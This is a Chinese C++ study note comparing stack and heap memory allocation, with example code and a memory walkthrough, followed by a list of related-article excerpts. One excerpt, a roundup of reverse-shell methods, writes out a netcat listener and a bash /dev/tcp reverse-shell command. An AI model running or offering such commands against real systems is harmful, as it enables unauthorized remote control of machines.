C++学习笔记(三十二):c++ 堆内存与栈内存比较

本节对堆和栈内存进行描述。

  • 应用程序启动后,操作系统将整个程序加载到内存,分配相应的物理ram,确保程序可以正常运行。堆和栈是ram中存在的两个区域。栈通常是一个预定义大小的内存区域,一般是2M字节左右。堆也是预定了默认值的区域,但可以随着程序的运行变大。
  • #include <iostream>struct Vector3
    {float x, y, z;Vector3():x(1),y(2),z(3){}
    };int main()
    {//在栈上分配内存int value = 5;   //整数int array[5];    //数组for (int i = 0; i < 5; i++){array[i] = i;}Vector3 vector;  //类或者结构体//在堆上分配,使用new操作符在堆上进行分配int* hvalue = new int;*hvalue = 5;int* harray = new int[5];for (int i = 0; i < 5; i++){harray[i] = i+5;}Vector3* hvector = new Vector3;std::cin.get();
    }

  • 栈内存分配
  • 下图是展示的内存地址是栈上array的内存地址,可以看到,在内存上市连续的20个字节的大小,因为一个int是4字节。
  • 在array附近可以看到05 00 00 00,这是value的内存地址,中间多了一些字节是因为现在是在Debug模式下,中间添加的是安全守卫,在所有变量的周围都会添加,确保内存溢出不是改变所有变量等。
  • 继续执行,下入红色的字节表示的是vector的字节,中间插入的仍是安全守卫。
  • 堆内存分配
  • 继续执行上述程序,在内存中可以看到hvalue的值以及内存地址
  • 继续执行,查看harray的从,从下图可以看到和hvalue的内存地址相差很远。
  • 在堆中申请内存,需要程序员自己去释放内存,而在栈中,超出作用域后会自动释放内存。如下所示:
  • #include <iostream>struct Vector3
    {float x, y, z;Vector3():x(1),y(2),z(3){}
    };int main()
    {//在栈上分配内存int value = 5;   //整数int array[5];    //数组for (int i = 0; i < 5; i++){array[i] = i;}Vector3 vector;  //类或者结构体//在堆上分配,使用new操作符在堆上进行分配int* hvalue = new int;*hvalue = 5;int* harray = new int[5];for (int i = 0; i < 5; i++){harray[i] = i+5;}Vector3* hvector = new Vector3;delete hvalue;delete[] harray;delete hvector;std::cin.get();
    }
  • new操作符实际上调用了一个malloc的函数从堆上分配内存,程序会维护一个空闲链表,用来跟踪哪些内存块是空闲的。

  • 栈分配比堆分配效率高的原因
  • 在栈上分配内存仅仅是一条cpu指令,而在堆上, 需要执行很多操作,所以在栈上分配执行效率比在堆上分配高很多。下面通过查看生成的汇编代码来证实。

  • 如上图显示,在通过栈给value分配内存是,仅仅需要执行一条cpu指令。

  • 上图现在,在堆上则需要执行7条cpu指令,才能给hvalue分配内存。

  • 生成汇编的设置方法如下:

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/613859.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

12、JVM高频面试题

1、JVM的主要组成部分有哪些 JVM主要分为下面几部分 类加载器&#xff1a;负责将字节码文件加载到内存中 运行时数据区&#xff1a;用于保存java程序运行过程中需要用到的数据和相关信息 执行引擎&#xff1a;字节码文件并不能直接交给底层操作系统去执行&#xff0c;因此需要…

NumPy 数据操作实用指南:从基础到高效(下)

文章接上篇&#xff1a; In [53]: from PIL import Image In [60]: dog Image.open(./dog.jpg) dog . . . In [61]: dog_datanp.array(dog) # 图片数据是ndarray # 彩色照片三维&#xff1a;高度&#xff0c;宽度&#xff0c;像素&#xff08;表示不同颜色&#xff09;&…

C语言操作符与表达式详解

目录 操作符的分类&#xff1a; &#xff08;1&#xff09;算数操作符 &#xff08;2&#xff09;移位操作符 &#xff08;3&#xff09;位操作符 &#xff08;4&#xff09;赋值操作符 &#xff08;5&#xff09;单目操作符 &#xff08;6&#xff09;关系操作符 &…

CSS 选择器全攻略:从入门到精通(下)

&#x1f90d; 前端开发工程师&#xff08;主业&#xff09;、技术博主&#xff08;副业&#xff09;、已过CET6 &#x1f368; 阿珊和她的猫_CSDN个人主页 &#x1f560; 牛客高级专题作者、在牛客打造高质量专栏《前端面试必备》 &#x1f35a; 蓝桥云课签约作者、已在蓝桥云…

保存校验,根据表体String和UFDouble的两个字段,判断哪些记录重复

方法一 &#xff1a;保存校验&#xff0c;根据业务类型和税率判断哪些记录重复&#xff08;不推荐&#xff09; import org.apache.commons.collections.CollectionUtils;private void ywlxAndSlCheck(List<JsdtbBVO> bvolist) throws BusinessException {bvolist tran…

【Java万花筒】日志与性能监控:Java日志领域的掌中宝剑

“日志与性能监控&#xff1a;Java开发者的得力助手 前言 在现代软件开发中&#xff0c;日志记录和性能监控是确保应用程序健康运行的不可或缺的组成部分。为了满足开发者对灵活性和性能的需求&#xff0c;Java 社区涌现出多个强大的库&#xff0c;本文将深入探讨其中几个关键…

pytorch11:模型加载与保存、finetune迁移训练

目录 一、模型加载与保存1.1 序列化与反序列化概念1.2 pytorch中的序列化与反序列化1.3 模型保存的两种方法1.4 模型加载两种方法 二、断点训练2.1 断点保存代码2.2 断点恢复代码 三、finetune3.1 迁移学习3.2 模型的迁移学习3.2 模型微调步骤3.2.1 模型微调步骤3.2.2 模型微调…

Asp .Net Core 系列: 集成 CORS跨域配置

文章目录 什么是CORS?Asp .Net Core 种如何配置CORS?CorsPolicyBuilder类详解注册以及使用策略三种方式EnableCors 和 DisableCors 特性关于带证书与不带证书代码的实现跨源&#xff08;cross-origin&#xff09;不带请求证书(Credentials)跨源&#xff08;cross-origin&…

c++析构函数

析构函数的简述 1. 析构函数和构造函数类似&#xff0c;是c规定当对象的生命周期结束时&#xff0c;默认你会调用析构函数。 2. 同理&#xff0c;当我们不写析构函数的时候&#xff0c;编译器会自动生成一个空实现的析构函数。 3. 析构函数只能编译器自己调用&#xff0c;我们…

CSS 选择器全攻略:从入门到精通(上)

&#x1f90d; 前端开发工程师&#xff08;主业&#xff09;、技术博主&#xff08;副业&#xff09;、已过CET6 &#x1f368; 阿珊和她的猫_CSDN个人主页 &#x1f560; 牛客高级专题作者、在牛客打造高质量专栏《前端面试必备》 &#x1f35a; 蓝桥云课签约作者、已在蓝桥云…

在Maven中设置JVM系统参数及Java应用调试实例

在Maven中设置JVM系统参数及Java应用调试实例 在进行Java应用程序开发时&#xff0c;我们通常需要配置Maven构建过程中Java虚拟机&#xff08;JVM&#xff09;的额外系统参数&#xff0c;以便进行性能优化、日志配置或远程调试等操作。本文将详细介绍如何在Maven中设置JVM系统…

JavaScript从入门到精通系列第三十一篇:详解JavaScript中的字符串和正则表达式相关的方法

文章目录 知识回顾 1&#xff1a;概念回顾 2&#xff1a;正则表达式字面量 一&#xff1a;字符串中正则表达式方法 1&#xff1a;split 2&#xff1a;search 3&#xff1a;match 4&#xff1a;replace 知识回顾 1&#xff1a;概念回顾 正则表达式用于定义一些字符串的…

MySql command line client命令解析

一、启动与退出 1、进入MySQL&#xff1a;启动MySQL Command Line Client&#xff08;MySQL的DOS界面&#xff09;&#xff0c;直接输入安装时的密码即可。此时的提示符是&#xff1a;mysql> 2、退出MySQL&#xff1a;quit 或 exit 二、库操作 1、创建数据库 命令&#xff1…

代码随想录算法训练营第二天|977 有序数组的平方、209长度最小的子数组、59 螺旋矩阵||

977 有序数组的平方 题目链接&#xff1a;有序数组的平方 思路 暴力解法 很容易想到的就是按照题目的说明&#xff0c;先给非递减数组中的每个元素做平方&#xff0c;然后使用一个排序函数对齐进行排序即可。 class Solution { public:vector<int> sortedSquares(ve…

反弹shell方法汇总

假设本机地址10.10.10.11&#xff0c;监听端口443。 1、Bash环境下反弹TCP协议shell 首先在本地监听TCP协议443端口 nc -lvp 443 然后在靶机上执行如下命令&#xff1a; bash -i >& /dev/tcp/192.168.245.129/1234 0>&1 /bin/bash -i > /dev/tcp/154.21…

STL之pair

目录 pair的定义和结构 示例 pair的嵌套 示例 pair自带排序规则 示例 代码示例 pair的定义和结构 在c中&#xff0c;pair是一个模板类&#xff0c;用于表示一对值的组合。它位于<utility>头文件中。pair类的定义如下&#xff1a; template<class T1,class T2…

IntelliJ IDEA Java 连接 mysql 配置(附完整 demo)

下载 MySQL 驱动 从MySQL官网下载JDBC驱动的步骤如下&#xff1a; 1&#xff09;访问MySQL的官方网站&#xff1a;MySQL 2&#xff09;点击页面上方的"DOWNLOADS"菜单&#xff1b; 3&#xff09;在下载页面&#xff0c;找到"MySQL Community (GPL) Downloads…

QObject_thread

QObject::thread QThread *QObject::thread() 返回对象所在的线程。 QThread *QObject::thread() const {return d_func()->threadData.loadRelaxed()->thread.loadAcquire(); }void QObject::moveToThread(QThread *targetThread) 将此对象及其孩子关联到targetThre…

C++内存管理机制(侯捷)笔记2

C内存管理机制&#xff08;侯捷&#xff09; 本文是学习笔记&#xff0c;仅供个人学习使用。如有侵权&#xff0c;请联系删除。 参考链接 Youtube: 侯捷-C内存管理机制 Github课程视频、PPT和源代码: https://github.com/ZachL1/Bilibili-plus 下面是第二讲allocator具体实…

11 双向链表

单链表的局限&#xff1a; 单链表的缺点&#xff1a;逆序访问单链表中的元素耗时大。&#xff08;时间复杂度&#xff1a;O&#xff09; 双向链表的定义 第0个节点【a1】的pre指针为NULL&#xff0c;要注意 插入操作&#xff1a; 删除操作&#xff1a; 初步实现双链表 代码&…